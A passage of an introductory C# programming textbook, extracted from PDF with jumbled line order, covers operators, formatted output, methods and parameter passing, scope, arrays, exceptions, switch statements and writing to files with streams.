ReadLine(). glassArea = 2 * ( width * height ) . const double MAX_WIDTH = 5. There is a corresponding -.WriteLine( "The area of the glass is " + glassArea + " square metres" ) . heightString = Console. woodLength = 2 * ( width + height ) * 3.ReadLine(). woodLength. e. It causes the value in that operand to be increased by one.Parse(widthString).Parse(heightString). both in terms of what we have to type and what the computer will actually do when it runs the program. const double MIN_WIDTH = 0.0 . do { Console. height = double. } while ( height < MIN_HEIGHT || height > MAX_HEIGHT ).4 Operator Shorthand So far we have looked at operators which appear in expressions and work on two operands. it is a rather long winded way of expressing this. The ++ is called a unary operator. because it works on just one operand. } } 2. However.25 .5 .75 . C# Programming © Rob Miles 2010 48 . string widthString. We can express ourselves more succinctly and the compiler can generate more efficient code because it now knows that what we are doing is adding one to a particular variable. window_count = window_count + 1 In this case the operator is + and is operating on the variable window_count and the value 1. class GlazerCalc { static void Main() { double width.WriteLine ( "The length of the wood is " + woodLength + " feet" ) .Simple Data Processing Writing a Program using System. widthString = Console. const double MIN_HEIGHT = 0. do { Console.3. Console. const double MAX_HEIGHT = 3.would do the same thing. The purpose of the above statement is to add 1 to the variable window_count. You can see examples of this construction in the for loop definition in the example above.operator which can be used to decrease (decrement) variables. Console.g. height. width = double.Write ( "Give the height of the window between " + MIN_HEIGHT + " and " + MAX_HEIGHT + " :" ). the line: window_count++ . heightString.0 . } while ( width < MIN_WIDTH || width > MAX_WIDTH ) . C# allows us to be terser if we wish. glassArea.Write ( "Give the width of the window between " + MIN_WIDTH + " and " + MAX_WIDTH + " :" ).
which is OK. which you can use in another statement if you like. Most of the time you will ignore this value.Simple Data Processing Writing a Program The other shorthand which we use is when we add a particular value to a variable. Nowadays when I am writing a program my first consideration is whether or not the program is easy to understand.does not mean that you should. this makes the whole thing much clearer for both you and the compiler! When you consider operators like ++ there is possible ambiguity. consider the following: i = (j=0). In order to show how this is done. This is perfectly legal (and perhaps even sensible) C#. I still don't do it. C# has some additional operators which allow us to shorten this to: house_cost += window_cost. but sometimes it can be very useful. The other special operators. You determine whether you want to see the value before or after the sum by the position of the ++ : i++ ++i Means “Give me the value before the increment” Means “Give me the value after the increment” As an example: int i = 2. in that you do not know if you get the value before or after the increment.). I don't think that the statement above is very easy to follow – irrespective of how so much more efficient it is.would make j equal to 3. so that the value in house_cost is increased by window_cost. C# provides a way of getting either value. += etc. Programmer’s Point: Always strive for simplicity Don't get carried away with this. An assignment statement always returns the value which is being assigned (i. The += operator combines addition and the assignment. We could put: house_cost = house_cost + window_cost. particularly when we get around to deciding things (see later). all return the value after the operator has been performed. I will leave you to find them! Statements and Values One of the really funky things about C# is that all statements return a value. C# Programming © Rob Miles 2010 49 . j = ++i . depending on which effect you want. j . This value can then be used as a value or operand. . This is perfectly OK. . It has the effect of setting both i and j to 0.e. If you do this you are advised to put brackets around the statement which is being used as a value. The fact that you can produce code like: height = width = speed = count = size = 0 . but again is rather long winded.
In the second write statement I have swapped the order of the numbers.57 Note that if I do this I get leading zeroes printed out. f ). Of course if I do something mad. double f = 1234.56789 i: 150 f: 1234. double f = 1234. i. f ) .WriteLine ( "i: {0:#.##0} f: {1:##. Adjusting real number precision Placeholders can have formatting information added to them: int i = 150 . for example {99}. and is also somewhat easier to use if you are printing a large number of values. counting from 0‖. i.3. double f = 1234. Integers seem to come out OK.WriteLine ( "i: {0:0000} f: {1:00000. This would print out: i: 150 f: 1234. but since I've swapped the order of the parameters too the output is the same.5 Neater Printing Note that the way that a number is printed does not affect how it is stored in the program. Really Fancy Formatting If you want really fancy levels of control you can use the # character. Console.00}". Note that doing this means that if the number is an integer it is printed out as 12. If you have run any of the above programs you will by now have discovered that the way in which numbers are printed leaves much to be desired. but floating point numbers seem to have a mind of their own. Console. Console.56789 .00}". double f = 1234. f ). i. Using Placeholders in Print Strings A placeholder just marks the place where the value is to be printed.56789 . it just tells the printing method how it is supposed to be printed.56789 . This would print out: i: 0150 f: 01234. This would print out: i: 150 f: 1234. Consider: int i = 150 .56789 . Specifying the number of printed digits I can specify a particular number of digits by putting in a given number of zeroes: int i = 150 .56789 The {n} part of the string says ―parameter number n. Console. the WriteLine method will fail with an error. which is useful if you are printing things like cheques. i ) . f ) .Simple Data Processing Writing a Program 2. Console.00. I have used the # character to get my thousands printed out with commas: C# Programming © Rob Miles 2010 50 .00}". A # in the format string means ―put a digit here if you have one‖: int i = 150 . When placed after a decimal point they can be used to control the number of decimal places which are used to express a value. To get around this C# provides a slightly different way in which numbers can be printed.WriteLine ( "i: {0:0} f: {1:0.##0.57 The 0 characters stand for one or more digits. This provides more flexibility. i.WriteLine ( "i: {0} f: {1}". f.WriteLine ( "i: {1} f: {0}".
so if you want to print columns of words you can use this technique to do it.WriteLine ( "i: {0. 0. Console.15:0.234.00 Note that this justification would work even if you were printing a string rather than a number. i.-10:0} f: {1.Simple Data Processing Writing a Program i: 150 f: 1.10:0} f: {1.-10:0} f: {1. You can specify the print width of any item. This would produce the output: i: i: 150 f: 0 f: 1234.15:0.WriteLine ( "i: {0.WriteLine ( "i: {0. The value 150 does not have a thousands digit so it and the comma are left out. f ) . This is so that when I print the value 0 I actually get a value printed. double f = 1234.56789 . Note also though that I have included a 0 as the smallest digit.00}".57 0. Console.-15:0.56789 .WriteLine ( "i: {0. if I want the numbers left justified I make the width negative: int i = 150 . and the double is printed in a 15 character wide column.00}". This is very useful if you want to print material in columns: int i = 150 . double f = 1234. even a piece of text.10:0} f: {1. f ) . C# Programming © Rob Miles 2010 51 . Printing in columns Finally I can add a width value to the print layout information. At the moment the output is right justified.57 Note that the formatter only uses the # characters and commas that it needs. which makes printing in columns very easy.00}".-15:0. otherwise when I print zero I get nothing on the page. 0.57 f: 0. This would produce the output: i: 150 i: 0 f: 1234.00 The integer value is printed in a column 10 characters wide. Console. i. Console.00}". 0 ) . 0 ) .
This is not very efficient. as with lots of features of the C# language. C# lets us create other methods which are used when our program runs. We have exactly the same piece of code to check widths and heights. Again. If we added a third thing to read. What we would like to do is write the checking code once and then use it at each point in the program. Methods give us two new weapons: We can use methods to let us re-use a piece of code which we have written.1 Methods We have already come across the methods Main. Essentially you take a block of code and give it a name.1. 3. Up until now all our programs have been in a single method. In this section we are going to consider why methods are useful and how you can create your own. WriteLine and ReadLine. but they do help with the organisation of our programs. we would have to copy the code a third time. Method and Laziness We have already established that a good programmer is creatively lazy. Main is the method we write which is where our program starts. Then you can refer to this block of code to do something for you. However. methods don't actually make things possible. for example frame thickness. We can also use methods to break down a large task into a number of smaller ones. it makes the program bigger and harder to write. 3. Your programs will contain methods that you create to solve parts of the problem and they will also use methods that have been provided by other people. One of the tenets of this is that a programmer will try to do a given job once and once only. To do this you need to define a method to do the work for you. The method is the block of code which follows the main part in our program. This is what methods are all about. We will need both of these when we start to write larger programs. As a silly example: C# Programming © Rob Miles 2010 52 . WriteLine and ReadLine were provided by the creators of C# to give us a way of displaying text and reading information from the user.
1.1. class MethodDemo { static void silly ( int i) { Console. As an example. A parameter is a means of passing a value into a method call. } } The method silly has a single integer parameter. class MethodDemo { static void doit () { Console. 3. You have already used this feature. The result of running the above program would be: Hello Hello So. silly ( 500 ) . Each time I call the method the code in the block which is the body of the method is executed. This means that when the program runs we get output like this: i is : 101 i is : 500 3. However. Within the block of code which is the body of this method we can use the parameter i as an integer variable. the methods ReadLine and Parse both return results that we have used in our programs: C# Programming © Rob Miles 2010 53 . When the method starts the value supplied for the parameter is copied into it.WriteLine ("Hello"). they become more useful if we allow them to have parameters. } public static void Main () { silly ( 101 ) . } public static void Main () { doit().3 Return values A method can also return a value to the caller. We simply put the code inside a method body and then call it when we need it. we can use methods to save us from writing the same code twice. consider the code below: using System .Creating Programs Methods using System . } } In the main method I make two calls of doit.2 Parameters At this point methods are useful because they let us use the same block of statements at many points in the program. The method is given the data to work on. doit().WriteLine ( "i is : " + i ) . In this case it contains a single statement which prints "Hello" on the console.
// prompt for the user double low.WriteLine ( "res is : " + res ) .1. } public static void Main () { int res. do { Console.WriteLine ( "res is : " + res ) . res = sillyReturnPlus (5). but this is actually a rather pointless thing to do: sillyReturnPlus (5). double windowWidth = readValue ( "Enter width of window: ".ReadLine (). See if you can work out what this code would display: res = sillyReturnPlus (5) + sillyReturnPlus (7) + 1. return i. Console. Console. MIN_WIDTH. The first call of readValue gets the width of a window. result = double.Creating Programs Methods using System . The value that a method returns can be used anywhere in a program where a variable of that type could be used. It is actually OK to ignore the value returned by a method. 0. It can then be used to read values and make sure that they are in range.Parse(resultString). MAX_WIDTH) . // lowest allowed value double high // highest allowed value ) { double result = 0. string resultString = Console. 70) . The second reads an age between 0 and 70. class ReturnDemo { static int sillyReturnPlus ( int i) { i = i + 1. } } The method sillyReturnPlus takes the value of the parameter and returns it plus one. // will compile but do nothing useful 3.WriteLine ( "i is : " + i ) . Console. return result . in other words a call of sillyReturnPlus can take the place of an integer. C# Programming © Rob Miles 2010 54 . } The readValue method is told the prompt to use and the lowest and the highest allowed values. double age = readValue ( "Enter your age: ".4 A Useful Method Now we can start to write genuinely useful methods: static double readValue ( string prompt. We can use this method to read anything and make sure that value supplied is within a particular range. } while ( (result < low) || (result > high) ).WriteLine (prompt + " between " + low + " and " + high ).
but it can be a bit limited because of the way that it works. So I could write a method which returns the name of a person. Consider: static void addOneToParam ( int i) { i = i + 1. unless you specify otherwise. If a fault is found in the code you only have to fix it in one place.Creating Programs Methods Programmer’s Point: Design with methods Methods are a very useful part of the programmer's toolkit.WriteLine ( "i is : " + i ) . But I can’t write a method that returns both values at the same time as a method can only return one value. This means that you can write calls like: test = 20 . Method Limitations A method is very good for getting work done. The value of test is being used in the call of addOneToParam. prints the result out and then returns: int test = 20 . only the value of a parameter is passed into a call to a method. Once you have worked out what the customer wants and gathered your metadata you can start thinking about how you are going to break the program down into methods. they can only return one value. Console. As you will find out when you try.1.5 Parameter Passing By Value So. They form an important part of the development process. This would print out: i is : 120 Pass by value is very safe. C# Programming © Rob Miles 2010 55 . because nothing the method does can affect variables in the code which calls it. it is a limitation when we want to create a method which returns more than one value. addOneToParam(test). addOneToParam(test + 99). If you do this you should consider taking that action and moving it into a method. changing the value of a parameter does not change the value of the thing passed in.WriteLine ( "test is : " + test ) . 3. This will be an important part of the Software Engineering we do later. if I want to write a method which reads in the name and the age of a person I have a problem. what do I mean by "passing parameters by value". For example. It then passes this value into the call. When it runs it prints out the following: i is : 21 test is : 20 It is very important that you understand what is happening here. The piece of C# above calls the method with the variable test as the parameter. There are two reasons why this is a good idea: 1: 2: It saves you writing the same code twice. Moving code around and creating methods is called refactoring. From what we have seen of methods. The program works out the result of the expression to be passed into the method call as a parameter. } The method addOneToParam adds one to the parameter. Often you find that as you write the code you are repeating a particular action. Console. or write one which returns an age. This is because. However.
test = 20 .1.WriteLine ( "test is : " + test ) . In this case the output is as follows: i is : 21 test is : 21 In this case the method call has made changes to the content of the variable. The program will say ―Get the value from location 5023‖ rather than ―The value is 1‖. However. Console. changes to the parameter change the variable whose reference you passed” If you find references confusing you are not alone. Inside the method.‖ you are giving the delivery man a reference. instead of the value. Generally speaking you have to be careful with side effects. So. and also has the word ref in front of the parameter. The original value of the parameters is of no interest to the method. rather than using the value of the variable the reference is used to get the actual variable itself. You have to put the word ref in the method heading and also in the call of the method. In other words. addOneToRefParam(ref test). The code above makes a call to the new method. Consider the code: static void addOneToRefParam ( ref int i) { i = i + 1. rather than passing in "20" in our above call the compiler will generate code which passes in "memory location 5023" instead (assuming that the variable test is actually stored at 5023). Instead you want to just allow the method to change the variable. Programmer’s Point: Document your side-effects A change by a method to something around it is called a side effect of the method. 3. when someone calls our addOneToRefParam method. rather than sending the value of a variable into a method.7 Passing Parameters as "out" references When you pass a parameter as a reference you are giving the method complete control of it. If you don't understand these you can't call yourself a proper programmer! Fortunately C# provides a way that. Effectively the thing that is passed into the method is the position or address of the variable in memory. as someone reading your program has to know that your method has made changes in this way.WriteLine ( "i is : " + i ) . Instead it just wants to deliver results to them. If you say ―Deliver the carpet to 23 High Street. a reference to that variable is supplied instead. it is going to have the “side effect” of changing something outside the method itself (namely the value of the parameter passed by reference). This is the case when we want to read in the name and age of a user. In other words: “If you pass by reference. Using a reference in a program is just the same. In this case I can replace the ref with the keyword out: C# Programming © Rob Miles 2010 56 . we use them in real life all the time with no problems. rather than the content of the variable. This memory location is used by the method.1. Console. Note that C# is careful about when a parameter is a reference. Sometimes you don't want this.6 Parameter Passing By Reference It is very important that you understand how references work. } Note that the keyword ref has been added to the information about the parameter.Creating Programs Methods 3.
do { string intString = readString (prompt) . readString and readInt.1. In the code above I have written a couple of library methods which I can use to read values of different types: static string readString ( string prompt ) { string result . out age ) . I can call readPerson as follows: string name . } static int readInt ( string prompt. out int age ) { name = readString ( "Enter your name : " ) . This is very useful. Note that I must use the out keyword in the call of the method as well. } while ( result == "" ) . It makes sure that a programmer can't use the value of the parameter in the method. int low.8 Method Libraries The first thing that a good programmer will do when they start writing code is to create a set of libraries which can be used to make their job easier. return result . } while ( ( result < low ) || ( result > high ) ). It also allows the compiler to make sure that somewhere in the method the output parameters are assigned values. 100 ) . 3. so that the user can't enter an empty string when a number is required. The readPerson method will read the person and deliver the information into the two variables.Write ( prompt ) . Note that it uses two more methods that I have created.Parse(intString). Programmer’s Point: Languages can help programmers The out keyword is a nice example of how the design of a programming language can make programs safer and easier to write.ReadLine (). } The method readPerson reads the name and the age of a person. The readInt method reads a number within a particular range. return result. result = Console. We can use the methods as follows: C# Programming © Rob Miles 2010 57 . int high ) { int result . age = readInt ( "Enter your age : ". This makes it harder for me to get the program wrong. do { Console. It means that if I mark the parameters as out I must have given them a value for the program to compile. } The readString method will read text and make sure that the user does not enter empty text. 0. result = int. int age . readPerson ( out name.Creating Programs Methods static void readPerson ( out string name. as I am protected against forgetting to do that part of the job. Note how I have rather cleverly used my readString method in my readInt one.
When the execution of the program moves outside a block any local variables which are declared in the block are automatically discarded. This means that only statements in the inner block can use this variable.e. I often solve this problem by having my methods return a code value. } } The variable j has the scope of the inner block. or that the user does something that may cause it to fail. If the method involves talking to the user it is possible that the user may wish to abandon the method. The scope of a local variable is the block within which the variable is declared. but you must declare it before you use it. The C# compiler makes sure that the correctly sized chunk of memory is used to hold the value and it also makes sure that we only ever use that value correctly. i. int age.2. 3. as well as making sure that it does the required job! We are going to discuss error management later 3.Creating Programs Variables and Scope string name. The C# compiler also looks after the part of a program within which a variable has an existence. Programmer’s Point: Always consider the failure behaviours Whenever you write a method you should give some thought to the ways that it could fail. age = readInt ( "Enter your age : ".2 Nested Blocks We have seen that in C# the programmer can create blocks inside blocks.2. the variable result in the readInt method is local to the method block. You need to consider whether or not the method should deal with the problem itself or pass the error onto the system which tried to use it. The methods that we have created have often contained local variables.1 Scope and blocks We have already seen that a block is a number of statements which are enclosed in curly brackets. This adds another dimension to program design. 0. In fact one thing I tend to do when working on a project is create little library of useful methods like these which I can use. If the return value is non-zero this means that the method did not work and the value being returned is an error which identifies what went wrong. variables which are local to that block. If the method passes the error on to the code which called it you have to have a method by which an error condition can be delivered to the caller. in that you also have to consider how the code that you write can fail.2 Variables and Scope We have seen that when we want to store a quantity in our program we can create a variable to hold this information. Any block can contain any number of local variables. I could add methods to read floating point values as well. As far as the C# language is concerned you can declare a variable at any point in the block. name = readString( "Enter your name : " ). Each of these nested blocks can have its own set of local variables: { int i . In other words the code: C# Programming © Rob Miles 2010 58 . This is called the scope of a variable. { int j . If the return value is 0 this means that the method returned correctly. 100). 3. If the method deals with the error itself this may lead to problems because the user may have no way of cancelling a command.
WriteLine ( "Hello" ) . 3. In order to remove this possibility the compiler refuses to allow this. Note that this is in contrast to the situation in other languages. { int j .2. } { int i . for example C++. It is however perfectly acceptable to reuse a variable name in successive blocks because in this situation there is no way that one variable can be confused with another. We often need to have variables that exist outside the methods in a class. as the variable j does not exist at this point in the program. { int i . } j = 99 . i = i + 1 ) { Console. } } The first incarnation of i has been destroyed before the second. but they disappear when the program execution leaves the block where they are declared. For loop local variables A special kind of variable can be used when you create a for loop construction. } The variable i is declared and initialized at the start of the for loop and only exists for the duration of the block itself. { int i . Variables Local to a Method Consider the following code: C# Programming © Rob Miles 2010 59 . C# has an additional rule about the variables in the inner blocks: { int i . This is because inside the inner block there is the possibility that you may use the "inner" version of i when you intend to use the outer one. This allows you to declare a control variable which exists for the duration of the loop itself: for ( int i = 0 .Creating Programs Variables and Scope { int i . so this code is OK. } . where this behaviour is allowed. In order to keep you from confusing yourself by creating two versions of a variable with the same name. } } This is not a valid program because C# does not let a variable in an inner block have the same name as one in an outer block.would cause an error. { int j .3 Data Member in classes Local variables are all very well. i < 10 .
OtherMethod().WriteLine ("local is :" + local). and calculate the computer move could all use the same board information.WriteLine ("member is : " + member). and can’t be used anywhere else. Class variables are very useful if you want to have a number of methods ―sharing‖ a set of data. // this will not compile } static void Main () { int local = 0. This means declaring it outside the methods in the class: class MemberExample { // the variable member is part of the class static int member = 0 . if you were creating a program to play chess it would be sensible to make the variable that stores the board into a member of the class. For now you just have to remember to put in the static keyword. } } The variable member is now part of the class MemberExample. Console. static void OtherMethod () { member = 99. Variables which are Data Members of a Class If I want to allow two methods in a class to share a variable I will have to make the variable a member of the class. Static class members Note that I have made the data member of the class static. The program above would print out: member is : 0 member is now : 99 This is because the call of OtherMethod would change the value of member to 99 when it runs. } static void Main () { Console. } } The variable local is declared and used within the Main method. Then the methods that read the player move. so that it is part of the class and not an instance of the class. Console. we will investigate the precise meaning of static later on. This is not something to worry about just now.Creating Programs Variables and Scope class LocalExample { static void OtherMethod () { local = 99. For example. If a statement in OtherMethod tries to use local the program will fail to compile. display the board. otherwise your program will not compile. C# Programming © Rob Miles 2010 60 . and so the Main method and OtherMethod can both use this variable.WriteLine ("member is now : " + member).
The first thing to do is define how the data is to be stored: int score1. score10.1000). 3. ".1000).1000).1 Why We Need Arrays Your fame as a programmer is now beginning to spread far and wide. score7 score8. You decide how much money you are going to be paid.1000). score11 .3 Arrays We now know how to create programs that can read values in. 0. given a set of player scores from a game he wants a list of those scores in ascending order. The next person to come and see you is the chap in charge of the local cricket team. He would like to you write a program for him to help him analyse the performance of his players. ". calculate results and print them. 0. and therefore not going anywhere. 0. Finally.1000). Marking a variable as const means ―the value cannot be changed‖.1000). Arrays are one way to do this. Only one thing is missing. 0. ". I am very careful to keep the number of member variables in a class to the minimum possible and use local variables if I only need to store the value for a small part of the code. 0. If it helps you can think of static as something which is always with us. you agree on when the software must be finished and how you are going to demonstrate it to your new customer and you write all this down and get it signed. It turns out that you now know about nearly all the language features that are required to implement every program that has ever been written. 0. ". 0. score3. score9. The next thing you do is refine the specification and add some metadata. score2. 3. Marking a variable with static means ―the variable is part of the class and is always present‖. ". What the customer wants is quite simple. You draw out a rough version of what the program will accept. ". Our programs can also make decisions based on the values supplied by the user and also repeat actions a given number of times. 0. and what information it will print out.1000). With all this sorted. and when. You discuss sensible ranges (no player can score less than 0 or more than 1000 runs in a game). : ". ".3. and that is the ability to create programs which store large amounts of data.).1000). score6. Bear in mind that if you make a variable a member of the class it can be used by any method in that class (which increases the chances of something bad happening to it).Creating Programs Arrays One common programming mistake is to confuse static with const. Programmer’s Point: Plan your variable use You should plan your use of variables in your programs. 0. 0. C# Programming © Rob Miles 2010 61 . score4.1000). Alternatively you can think of it as stationary.1000). all you have to do now is write the actual program itself. ". like the background static noise on your radio when you tune it off station. and we are going to find out about them next. 0. Now you can start putting the data into each variable. score5. ―This is easy‖ you think. When a game of cricket is played each member of the team will score a particular number of runs. You should decide which variables are only required for use in local blocks and which should be members of the class. : ". to make this the perfect project.
This means that you specify the element at the start of the array by giving the subscript 0. i=i+1) { scores [i] = readInt ( "Score : ".Creating Programs Arrays All we have to do next is sort them. When C# sees this it says ―Aha! What we need here is an array‖. In the program you identify which element you mean by putting its number in square brackets [ ] after the array name. Note that the thing which makes arrays so wonderful is the fact that you can specify an element by using a variable. There is consequently no element scores [11]. Array Element Numbering C# numbers the boxes starting at 0.. An array allows us to declare a whole row of a particular kind of box. C# Programming © Rob Miles 2010 62 . Consider the following: using System. (as long as you don't fall off the end of the array). When an array is created all the elements in the array are set to 0.is quite OK. This part is called the subscript. You can think of this as a tag which can be made to refer to a given array.. scores [i+1] . An attempt to go outside the array bounds of scores cause your program to fail as it runs.. } } } The int [] scores part tells the compiler that we want to create an array variable.. 0. This is very important. It then gets a piece of rope and ties the tag scores to this box. If you follow the rope from the scores tag you reach the array box. class ArrayDemo { public static void Main () { int [] scores = new int [11] .. it just goes to show that not everything about programming is consistent. One thing adding to this confusion is the fact that this numbering scheme is not the same in other languages. If you look at the part of the program which reads the values into the array you will see that we only count from 0 to 10. If you find this confusing.2 Array Elements Each compartment in the box is called an element. we know that computers are very good at sorting this kind of thing. It then paints the whole box red . each large enough to hold a single integer. i<11. We can then use things called subscripts to indicate which box in the row that we want to use.e. It then gets some pieces of wood and makes a long thin box with 11 compartments in it. C# provides us with a thing called an array. but you should get a picture of what is going on here. i. The bit which makes the array itself is the new int [11]. This is awful! There seems to be no way of doing it.because boxes which can hold integers are red.3. Visual Basic numbers array elements starting at 1.1000). for ( int i=0.. after all. it probably doesn't use wood or rope. ―The first element has the subscript 0‖ then the best way to regard the subscript is as the distance down the array you have to travel to get to the element that you need. I’m sorry about this. In fact you can use any expression which returns an integer result as a subscript. Hmmmm. Actually. Just deciding whether score1 is the largest value would take an if construction with 10 comparisons! Clearly there has to be a better way of doing this. 3...
Creating Programs
Arrays
3.3.3 Large Arrays:
Programs can have multiple levels of try – catch. Note that once the exception has been thrown there is no return to the code in the try block. } catch (Exception e) { // Get the error message out of the exception Console. The code in this catch clause will display the exception details and then stop the program.Parse(ageString). since it means that the message reflects what has actually happened. If a user types in an invalid string the program above will write the text in the exception. Within the catch clause the value of e is set to the exception that was thrown by Parse. } catch { Console. When Parse fails it creates an exception object that describes the bad thing that has just happened (in this case input string not in the correct format). The program above ignores the exception object and just registers to the exception event but we can improve the diagnostics of our program by catching the exception if we wish: int age.e. Exceptions work in the same way. will look for the enclosing catch clause. This message is obtained from the exception that was thrown. } The catch now looks like a method call. if the parse fails the program will not display the message "Thank you". If the call of Parse throws an exception the code in the catch block runs and will display a message to the user. which contains the message: Input string was not in a correct format. However.Message).WriteLine(e. and the program will use the catch which matches the level of the code in the try block. i. 3.4.WriteLine("Thank you"). C# Programming © Rob Miles 2010 66 .WriteLine("Thank you").4. which is managing the execution of your program inside the computer. 3. If your program does not contain a catch for the exception it will be caught by a catch which is part of the run time system.Creating Programs Exceptions and Errors int age. try { age = int.3 The Exception Object When I pass a problem up to my boss I will hand over a note that describes it. with the Exception e being a parameter to the method. Console. try { age = int.Parse(ageString). The Exception type has a property called Message which contains a string describing the error. the parse action takes place inside the try block.WriteLine("Invalid age value"). } The code above uses Parse to decode the age string.4 Exception Nesting When an exception is thrown the run time system. An exception is a type of object that contains details of a problem that has occurred. Console. This is useful if the code inside the try block could throw several different kinds of exception. This is exactly how it works. The Exception object also contains other properties that can be useful.
releasing resources and generally tidying up. Fortunately C# provides a solution to this problem by allowing you to add a finally clause to your try-catch construction. we know that when an exception is thrown the statements in the catch clause are called. However. once execution leaves that inner block the outer catch is the one which will be run in the event of an exception being thrown. 3.4. try { // Code that } catch (Exception { // Code that } finally { // Code that // is thrown } might throw an exception outer) catches the exception is obeyed whether an exception or not C# Programming © Rob Miles 2010 67 . not try and handle things by returning a null reference or empty item. Programmer’s Point: Don’t Catch Everything Ben calls this Pokemon® syndrome: “Gotta catch’em all”. If code in the innermost block throws an exception the run time system will find the inner catch clause. In these situations any code following your try – catch construction would not get the chance to run. These actions include things like closing files. Statements inside the finally clause will run irrespective of whether or not the program in the try block throws an exception. If someone asks your Load method to fetch a file that doesn’t exist the best thing it can do is throw a “file not found” exception. and the program never returns to the try part of the program. Don’t feel obliged to catch every exception that your code might throw. The code in the catch clause could return from the method it is running within or even throw an exception itself. The faster you can get a fault to manifest itself the easier it is to identify the cause. However.5 Adding a Finally Clause Sometimes there are things that your program must do irrespective of whether or not an exception is thrown. Returning a placeholder will just cause bigger problems later when something tries to use the empty item that was returned.
You ask something like Enter the type of window: 1 = casement 2 = standard 3 = patio door Your program can then calculate the cost of the appropriate window by selecting type and giving the size. When you make a new exception you can give it a string that contains the message the exception will deliver. Most of the rest of C# is concerned with making the business of programming simpler.Creating Programs The Switch Construction In the above code the statements in the finally part are guaranteed to run. 3. either when the statements in the try part have finished. The statement above makes a new exception and then throws it. and you should too.4. Each method asks the relevant questions and works out the price of that kind of item. You may find it rather surprising. 3. For example if a user of the double glazing program enters a window height which is too large the program can simply print the message ―Height too large‖ and ask for another value. A good example of this is the switch construction. 3. This turns out to be very easy: throw new Exception("Boom"). When you come to write the program you will probably end up with something like: C# Programming © Rob Miles 2010 68 .5. or just before execution leaves the catch part of your program.5 The Switch Construction We now know nearly everything you need to know about constructing a program in the C# language.4. This means that errors at this level are not worthy of exception throwing. Throwing an exception might cause your program to end if the code does not run inside a try – catch construction. the next thing we need to consider is how to throw them. but there is really very little left to know about programming itself. In this case I have used the somewhat unhelpful message ―Boom‖. You can even create your own custom exception types based on the one provided by the System and use these in your error handling. If you are going to throw an exception this should be in a situation where your program really could not do anything else. I reserve my exceptions for catastrophic events that my program really cannot deal with and must pass on to something else.7 Exception Etiquette Exceptions are best reserved for situations when your program really cannot go any further. 3.6 Throwing an Exception Now that we know how to catch exceptions.
} static void handleStandard () { Console. Later you will go on and fill the code in (this is actually quite a good way to construct your programs).WriteLine("Handle patio"). 3. } else { if ( selection == 3 ) { handlePatio() . At the moment they just print out that they have been called.5. You have to write a large number of if constructions to activate each option. If you write the above using it your program would look like this. We already have a method that we can use to get a number from the user (it is called readInt and is given a prompt string and high and low limits). selection = readInt ( "Window Type : ".WriteLine("Handle Standard"). Once you have the methods in place. 3 ) . C# Programming © Rob Miles 2010 69 . } else { Console. } else { if ( selection == 2 ) { handleStandard(). the next thing you need to do is write the code that will call the one that the user has selected.WriteLine("Handle Casement"). Our program can use this method to get the selection value and then pick the method that needs to be used.3 The switch construction Because you have to do this a lot C# contains a special construction to allow you to select one option from a number of them based on a particular value. } } } This would work OK. 3. but is rather clumsy. } static void handlePatio () { Console. This is called the switch construction. if ( selection == 1 ) { handleCasement(). } These methods are the ones which will eventually deal with each type of window.WriteLine ( "Invalid number" ).Creating Programs The Switch Construction static void handleCasement () { Console.5. 1.2 Selecting using the if construction When you come to perform the actual selection you end up with code which looks a bit like this: int selection .
case 2 : handleStandard () . break . and of course if they type a character wrong the command is not recognised. break . Another other useful feature is the default option. You can use the switch construction with types other than numbers if you wish: switch (command) { case "casement" : handleCasement (). In the same way as you break out of a loop. Multiple cases You can use multiple case items so that your program can execute a particular switch element if the command matches one of several options: C# Programming © Rob Miles 2010 70 . It executes the case which matches the value of the switch variable. default : Console. case "standard" : handleStandard () . break . break .WriteLine ( "Invalid command" ) . when the break is reached the switch is finished and the program continues running at the statement after the switch. Of course this means that the type of the cases that you use must match the switch selection value although. case 3 : handlePatio () . break . since it means that they have to type in the complete name of the option. in our case (sorry!) we put out an appropriate message. break . default : Console. case "patio" : handlePatio () . The break statement after the call of the relevant method is to stop the program running on and performing the code which follows. your users would not thank you for doing this. break . This gives the switch somewhere to go if the switch value doesn't match any of the cases available. } This switch uses a string to control the selection of the cases.WriteLine ( "Invalid number" ) . in true C# tradition.Creating Programs The Switch Construction switch (selection) { case 1 : handleCasement (). } The switch construction takes a value which it uses to decide which option to perform. break . the compiler will give you an error if you make a mistake. However.
The operating system actually does the work. 3. the way in which you manipulate files in C# is the same for any computer. break . default : Console. break . A stream is a link between your program and a data resource. The stream is the thing that links your program with the operating system of the computer you are using. Instead you should put a call to a method as I have above.ToUpper()) { case "CASEMENT" : case "C" : . 3.1 Streams and Files C# makes use of a thing called a stream to allow programs to work with files. What we want to do is use C# to tell the operating system to create files and let us access them. Programmer’s Point: switches are a good idea Switches make a program easier to understand as well as quicker to write.6 Using Files If you want your program to be properly useful you have to give it a way of storing data when it is not running. We can write a C# program which creates a file on a Windows PC and then use the same program to create a file on a UNIX system with no problems.. We know that you can store data in this way. These can be used to obtain a version of a string which is all in upper or lower case. Files are looked after by the operating system of the computer. break . which can make the testing of the commands much easier: switch (command. break . case "patio" : case "P" : handlePatio () . case "standard" : case "s" : handleStandard () . } The above switch will select a particular option if the user types the full part of the name or just the initial letter. that is how we have kept all the programs we have created so far. However.. If you want to perform selection based on strings of text like this I’d advise you to take a look at the ToUpper and ToLower methods provided by the string type. so that streams can be used to read and write to files. Data can flow up or down your stream.. It is also easier to add extra commands if you use a switch since it is just a matter of putting in another case.WriteLine ( "Invalid command" ) . I'd advise against putting large amounts of program code into a switch case.Creating Programs Using Files switch (command) { case "casement" : case "c" : handleCasement (). in files.
When the new StreamWriter is created the program will open a file called test. Note however that this code does not have a problem if the file test. StreamWriter writer . C# has a range of different stream types which you use depending on what you want to do. is implemented as a stream. Each time you write a line to the file it is added onto the end of the lines that have already been written. This is potentially dangerous. The ReadLine and WriteLine methods are commands you can give any stream that will ask it to read and write data. these are the StreamWriter and StreamReader types.txt. 3. writer = new StreamWriter("test. C# Programming © Rob Miles 2010 72 . writer.Creating Programs Using Files C# program stream File in Windows A C# program can contain an object representing a particular stream that a programmer has created and connected to a file.txt already exists. since the Console class. All that happens is that a brand new. The program performs operations on the file by calling methods on the stream object to tell it what to do.6. This is exactly the same technique that is used to write information to the console for the user to read.6. empty. which connects a C# program to the user. All of the streams are used in exactly the same way. and the write cannot be performed successfully. file is created in place of what was there. the call of WriteLine will throw an exception.WriteLine("hello world"). then the action will fail with an appropriate exception. If this process fails for any reason.3 Writing to a Stream Once the stream has been created it can be written to by calling the write methods it provides. perhaps your operating system is not able/allowed to write to the file or the name is invalid. It means that you could use the two statements above to completely destroy the contents of an existing file. which would be 